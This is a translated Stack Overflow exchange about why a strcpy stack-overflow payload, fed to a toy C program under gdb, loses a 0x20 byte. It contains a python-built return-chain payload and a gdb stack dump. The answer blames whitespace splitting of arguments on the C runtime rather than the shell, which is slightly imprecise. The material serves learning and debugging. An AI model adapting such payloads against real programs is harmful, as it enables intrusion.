我在这里有一个基本的疑问。
请考虑下面的示例C程序在Ubuntu 32位Little Endian计算机上运行。
#include <string.h>
#include <unistd.h>
int main (int argc, char **argv)
{
char buf [8];
strcpy(buf, argv[1]);
system("/usr/bin/false");
}
现在,我了解了上述代码的安全性。让我们搁置一会儿。
在上面的代码中,
buf
是局部变量。这意味着该缓冲区的空间将在堆栈上。现在,我们使用strcpy()
将用户输入复制到缓冲区中。用户输入本身是在命令行上进行的。现在说该程序与gdb一起运行:
gdb program
现在,如果从gdb提示符向程序提供了用户输入,则为:
运行
python -c "print 'A'*12 + '\x10\x83\x04\x08' + '\xda\x84\x04\x08' + '\x24\xa0\x04\x08' + '\x62\x81\x04\x08' + '\x10\x83\x04\x08' + '\xda\x84\x04\x08' + '\x25\xa0\x04\x08' + '\xd8\x80\x04\x08' + '\x10\x83\x04\x08' + '\xda\x84\x04\x08' + '\x26\xa0\x04\x08' + '\x13\x85\x04\x08' + '\x20\x83\x04\x08' + 'A'*4 + '\x24\xa0\x04\x08';"
堆栈的内容如下:
(gdb) x/20wx $esp
0xbffff5b0: 0x41414141 0x41414141 0x41414141 0x08048310
0xbffff5c0: 0x080484da 0x0804a024 0x08048162 0x08048310
0xbffff5d0: 0x080484da 0x0804a025 0x080480d8 0x08048310
0xbffff5e0: 0x080484da 0x0804a026 0x08048513 0x08048300
0xbffff5f0: 0x00000000 0x6fb0e3f2 0x53b687e2 0x00000000
地址
0xbffff5e0
在最右手边的单词是0x08048300
。根据给定的输入,它应该是0x08048320
。为什么不如预期的那样?让我震惊的是,期望的地址
0x08048320
以20
结尾,这是一个空格字符。是否有可能因为它是空格字符作为输入传递给程序,所以它被程序视为输入的结尾,因此它根本不会复制任何东西吗? 最佳答案
正确的是,strcpy()
遇到空值时将停止复制,并且会将空值附加到复制的内容之后。您在这里看到的不是那样。 0x20
(空格字符)不会影响strcpy()
,但C运行时本身会将其用作有效字符。
如您所知,char **argv
是一个指向字符数组列表的指针,每个字符数组代表命令行中的一个参数。即使您正在传递来自Python的数据并将其表示为十六进制数据(在转换后也是如此),您的数据中仍有一个空格:'\x20\x83\x04\x08'
对于C运行时处理参数,这会将0x08048320
分解为0x08048300
因为它将空白视为定界符。
为了证明是这种情况,请使用python脚本并将字符串输出到stdout而不是管道。
关于python - 如果用户输入是通过strcpy()获取的,用户输入是否会复制到堆栈上超出空格或null字符的位置?,我们在Stack Overflow上找到一个类似的问题:https://stackoverflow.com/questions/48058080/